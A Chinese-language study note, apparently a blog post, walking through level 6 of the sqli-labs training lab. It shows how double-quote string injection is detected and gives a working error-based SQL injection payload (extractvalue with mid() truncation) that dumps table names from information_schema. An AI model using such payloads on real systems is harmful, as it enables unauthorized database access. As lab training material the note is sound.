sqllab第六关通关笔记

知识点:

  • 报错注入回顾
  • 原始语句测试
  • 截取函数
    • mid(字符串,起始位置,长度)
    • substr(字符串,起始位置,长度)
    • left(字符串,长度)
    • right(字符串,长度)
  • 加入截取控制的错误注入payload
    • payload:id=1"%20and%20extractvalue(1,concat(0x7e,mid((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),1,30),0x7e))+--+
  • 关键表信息回顾

首先判断注入类型

构造id=1/0

发现正常输出;应该是字符型注入

构造id=1'

发现正常输出;不是单引号的输入读取

构造id=1"

发现报错了;好了,双引号引起的注入

利用错误注入进行数据读取

构造payload:id=1"%20and%20extractvalue(1,concat(0x7e,mid((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),1,30),0x7e))+--+

成功读取到了数据库的表信息;进一步可以读取字段名和关键信息

这里采用了mid截取函数进行长度控制;由于读取的内容小于32位,所以直接全部输出了;要不然就得分段读取

10

相关推荐
LuminousCPP31 分钟前
数据结构-排序(三):快速排序进阶|挖坑法、双指针交换与手动栈非递归实现
c语言·数据结构·笔记·算法·排序算法
chushiyunen39 分钟前
mockito笔记
java·开发语言·笔记
蒸蒸yyyyzwd3 小时前
cpp 选手备战秋招学习笔记 day32
c++·笔记·面试
stormeryang3 小时前
简单商城、在线客服管理系统
笔记
my_daling3 小时前
紫光FPGA远程升级注意事项(关于GTP_CFGCLK原语使用问题)
笔记·学习·fpga开发
库玛西4 小时前
深度解构高并发利器:纯事件驱动 Reactor 模式的设计哲学与工程实践
服务器·开发语言·c++·笔记·tcp/ip
泰晶科技4 小时前
【晶振相位噪声对通信系统的影响:如何降低5G光模块信号误码率】
笔记·5g
糖炒栗子03264 小时前
PostgreSQL 使用 ctid 修改完全重复的行
笔记
老当益壮梁奶奶4 小时前
51单片机入门总结(一):基本概念、最小系统、流水灯与按键实验(附完整代码)
笔记·stm32·单片机·嵌入式硬件·51单片机
M78佐菲4 小时前
51单片机学习笔记(2)
linux·笔记·嵌入式硬件·学习·51单片机